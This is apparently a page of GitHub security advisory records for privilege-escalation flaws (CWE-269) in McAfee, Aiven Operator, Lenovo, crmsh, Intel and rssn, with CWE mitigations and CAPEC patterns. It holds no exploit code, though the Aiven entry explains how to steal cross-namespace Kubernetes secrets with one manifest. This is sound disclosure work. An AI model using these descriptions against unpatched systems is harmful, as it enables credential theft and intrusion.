Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41Privilege Escalation vulnerability in McAfee Total Protection (MTP) prior to 16.0.30 allows a local user to gain elevated privileges and perform arbitrary file deletion as the SYSTEM user potentially causing Denial of Service via manipulating Junction link, after enumerating certain files, at a specific time.
{
"affected": [],
"aliases": [
"CVE-2021-23873"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-10T11:15:00Z",
"severity": "MODERATE"
},
"details": "Privilege Escalation vulnerability in McAfee Total Protection (MTP) prior to 16.0.30 allows a local user to gain elevated privileges and perform arbitrary file deletion as the SYSTEM user potentially causing Denial of Service via manipulating Junction link, after enumerating certain files, at a specific time.",
"id": "GHSA-99j6-pf9p-h77c",
"modified": "2022-05-24T17:41:45Z",
"published": "2022-05-24T17:41:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23873"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-175"
},
{
"type": "WEB",
"url": "http://service.mcafee.com/FAQDocument.aspx?\u0026id=TS103114"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-99J8-WV67-4C72
Vulnerability from github – Published: 2026-04-10 17:22 – Updated: 2026-04-10 17:22Impact
A developer with create permission on ClickhouseUser CRDs in their own namespace can exfiltrate secrets from any other namespace — production database credentials, API keys, service tokens — with a single kubectl apply. The operator reads the victim's secret using its ClusterRole and writes the password into a new secret in the attacker's namespace.
The operator acts as a confused deputy: its ServiceAccount has cluster-wide secret read/write (aiven-operator-role ClusterRole), and it trusts user-supplied namespace values in spec.connInfoSecretSource.namespace without validation. No admission webhook enforces this boundary — the ServiceUser webhook returns nil, and no ClickhouseUser webhook exists.
Patches
This vulnerability is resolved in version 0.37.0. We recommend all users update as soon as possible.
Credits
Credits to Andrés Cruciani for finding and reporting the bug through our bug bounty program
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/aiven/aiven-operator"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.0"
},
{
"fixed": "0.37.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39961"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-441"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T17:22:00Z",
"nvd_published_at": "2026-04-09T18:17:02Z",
"severity": "MODERATE"
},
"details": "### Impact\nA developer with create permission on ClickhouseUser CRDs in their own namespace can exfiltrate secrets from any other namespace \u2014 production database credentials, API keys, service tokens \u2014 with a single kubectl apply. The operator reads the victim\u0027s secret using its ClusterRole and writes the password into a new secret in the attacker\u0027s namespace.\n\nThe operator acts as a confused deputy: its ServiceAccount has cluster-wide secret read/write (aiven-operator-role ClusterRole), and it trusts user-supplied namespace values in spec.connInfoSecretSource.namespace without validation. No admission webhook enforces this boundary \u2014 the ServiceUser webhook returns nil, and no ClickhouseUser webhook exists.\n\n### Patches\n\nThis vulnerability is resolved in version 0.37.0. We recommend all users update as soon as possible.\n\n### Credits\n\nCredits to Andr\u00e9s Cruciani for finding and reporting the bug through our [bug bounty program](https://bugcrowd.com/aiven-mbb-og)",
"id": "GHSA-99j8-wv67-4c72",
"modified": "2026-04-10T17:22:00Z",
"published": "2026-04-10T17:22:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aiven/aiven-operator/security/advisories/GHSA-99j8-wv67-4c72"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39961"
},
{
"type": "WEB",
"url": "https://github.com/aiven/aiven-operator/commit/032c9ba63257fdd2fddfb7f73f71830e371ff182"
},
{
"type": "PACKAGE",
"url": "https://github.com/aiven/aiven-operator"
},
{
"type": "WEB",
"url": "https://github.com/aiven/aiven-operator/releases/tag/v0.37.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Aiven Operator has cross-namespace secret exfiltration via ClickhouseUser connInfoSecretSource"
}
GHSA-99MJ-2R96-XHX2
Vulnerability from github – Published: 2022-05-24 17:14 – Updated: 2022-05-24 17:14A privilege escalation vulnerability was reported in the LenovoSystemUpdatePlugin for Lenovo System Interface Foundation prior to version that could allow an authenticated user to execute code with elevated privileges.
{
"affected": [],
"aliases": [
"CVE-2020-8318"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-14T21:15:00Z",
"severity": "HIGH"
},
"details": "A privilege escalation vulnerability was reported in the LenovoSystemUpdatePlugin for Lenovo System Interface Foundation prior to version that could allow an authenticated user to execute code with elevated privileges.",
"id": "GHSA-99mj-2r96-xhx2",
"modified": "2022-05-24T17:14:18Z",
"published": "2022-05-24T17:14:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8318"
},
{
"type": "WEB",
"url": "https://support.lenovo.com/us/en/product_security/LEN-30401"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-99XX-83JM-H24M
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2023-08-23 13:39An issue was discovered in ClusterLabs crmsh through 4.2.1. Local attackers able to call crm history (when crm is run) were able to execute commands via shell code injection to the crm history commandline, potentially allowing escalation of privileges.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "crmsh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-35459"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-13T22:35:36Z",
"nvd_published_at": "2021-01-12T15:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in ClusterLabs crmsh through 4.2.1. Local attackers able to call `crm history` (when `crm` is run) were able to execute commands via shell code injection to the crm history commandline, potentially allowing escalation of privileges.",
"id": "GHSA-99xx-83jm-h24m",
"modified": "2023-08-23T13:39:25Z",
"published": "2022-05-24T17:38:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35459"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1179999"
},
{
"type": "PACKAGE",
"url": "https://github.com/ClusterLabs/crmsh"
},
{
"type": "WEB",
"url": "https://github.com/ClusterLabs/crmsh/blob/a403aa15f3ea575adfe5e43bf2a31c9f9094fcda/crmsh/history.py#L476"
},
{
"type": "WEB",
"url": "https://github.com/ClusterLabs/crmsh/releases"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00021.html"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2021/01/12/3"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/01/12/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "ClusterLabs crmsh vulnerable to shell code injection"
}
GHSA-9C42-P9CW-2CP9
Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-11 18:30Improper privilege management for some Intel(R) CIP software before version WIN_DCA_2.4.0.11001 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable data manipulation. This result may potentially occur via network access when attack requirements are present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (low) and availability (none) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.
{
"affected": [],
"aliases": [
"CVE-2025-24307"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T17:15:41Z",
"severity": "LOW"
},
"details": "Improper privilege management for some Intel(R) CIP software before version WIN_DCA_2.4.0.11001 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable data manipulation. This result may potentially occur via network access when attack requirements are present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (low) and availability (none) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.",
"id": "GHSA-9c42-p9cw-2cp9",
"modified": "2025-11-11T18:30:18Z",
"published": "2025-11-11T18:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24307"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01328.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9C4H-PWMF-M6FJ
Vulnerability from github – Published: 2026-03-10 01:19 – Updated: 2026-03-10 18:40Impact
Vulnerability Type: Improper Control of Generation of Code ('Code Injection') (CWE-94) / Improper Check for Unusual or Exceptional Conditions (CWE-754) / Improper Input Validation (CWE-20) / Use of Low-Level Functionality (CWE-695) / Improper Privilege Management (CWE-269) / External Control of System or Configuration Setting (CWE-15).
Technical Details: The vulnerability exists in the JIT (Just-In-Time) compilation engine, which is fully exposed via the CFFI (Foreign Function Interface). Due to Improper Input Validation and External Control of Code Generation, an attacker can supply malicious parameters or instruction sequences through the CFFI layer. Since the library often operates with elevated privileges or within high-performance computing contexts, this allows for Arbitrary Code Execution (ACE) at the privilege level of the host process.
Who is Impacted?
- Developers using the library as a dynamic linked library (.so, .dll, .dylib) in multi-language environments (e.g., Python, Node.js, C++).
- Cloud Service Providers running the library in multi-tenant environments or automated model-training pipelines.
- Users processing untrusted or third-party datasets/models that may trigger malicious JIT instruction generation. Patches
- Affected versions: < 0.2.8
- Patched version: 0.2.9
Workarounds
If you cannot upgrade immediately, please consider the following mitigations: * Strict Sandboxing: Run the library within a restricted sandbox (e.g., WebAssembly, Docker with non-root user, or seccomp profiles) to limit system call access. * Principle of Least Privilege: Ensure the process calling the library does not have administrative or root privileges. * Input Filtering: If possible, implement an application-level validation layer to sanitize any data passed to the CFFI interfaces. * Disable JIT (if applicable): If your workload allows, use the interpreter-only mode (if provided by the library) to bypass the JIT engine entirely. CVSS Score * Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H * Base Score: 9.4 (Critical)
References
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "rssn"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30960"
],
"database_specific": {
"cwe_ids": [
"CWE-15",
"CWE-20",
"CWE-269",
"CWE-695",
"CWE-754",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T01:19:29Z",
"nvd_published_at": "2026-03-10T18:18:55Z",
"severity": "CRITICAL"
},
"details": "## Impact\n\n**Vulnerability Type**: \nImproper Control of Generation of Code (\u0027Code Injection\u0027) (CWE-94) / Improper Check for Unusual or Exceptional Conditions (CWE-754) / Improper Input Validation (CWE-20) / Use of Low-Level Functionality (CWE-695) / Improper Privilege Management (CWE-269) / External Control of System or Configuration Setting (CWE-15).\n\n**Technical Details**:\nThe vulnerability exists in the JIT (Just-In-Time) compilation engine, which is fully exposed via the CFFI (Foreign Function Interface). Due to Improper Input Validation and External Control of Code Generation, an attacker can supply malicious parameters or instruction sequences through the CFFI layer. Since the library often operates with elevated privileges or within high-performance computing contexts, this allows for Arbitrary Code Execution (ACE) at the privilege level of the host process.\n\n## Who is Impacted?\n\n * Developers using the library as a dynamic linked library (.so, .dll, .dylib) in multi-language environments (e.g., Python, Node.js, C++).\n * Cloud Service Providers running the library in multi-tenant environments or automated model-training pipelines.\n * Users processing untrusted or third-party datasets/models that may trigger malicious JIT instruction generation.\nPatches\n * Affected versions: \u003c 0.2.8\n * Patched version: 0.2.9\n\n## Workarounds\n\nIf you cannot upgrade immediately, please consider the following mitigations:\n * Strict Sandboxing: Run the library within a restricted sandbox (e.g., WebAssembly, Docker with non-root user, or seccomp profiles) to limit system call access.\n * Principle of Least Privilege: Ensure the process calling the library does not have administrative or root privileges.\n * Input Filtering: If possible, implement an application-level validation layer to sanitize any data passed to the CFFI interfaces.\n * Disable JIT (if applicable): If your workload allows, use the interpreter-only mode (if provided by the library) to bypass the JIT engine entirely.\nCVSS Score\n * Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n * Base Score: 9.4 (Critical)\n\n## References\n\n[Apich Organization Security Team Homepage](https://security.apich.org/)",
"id": "GHSA-9c4h-pwmf-m6fj",
"modified": "2026-03-10T18:40:24Z",
"published": "2026-03-10T01:19:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Apich-Organization/rssn/security/advisories/GHSA-9c4h-pwmf-m6fj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30960"
},
{
"type": "PACKAGE",
"url": "https://github.com/Apich-Organization/rssn"
},
{
"type": "WEB",
"url": "https://github.com/Apich-Organization/rssn/releases/tag/v0.2.9"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0038.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "RSSN has Arbitrary Code Execution via Unvalidated JIT Instruction Generation in C-FFI Interface"
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-48
Strategy: Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Mitigation MIT-49
Strategy: Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-233: Privilege Escalation
An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.
CAPEC-58: Restful Privilege Elevation
An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.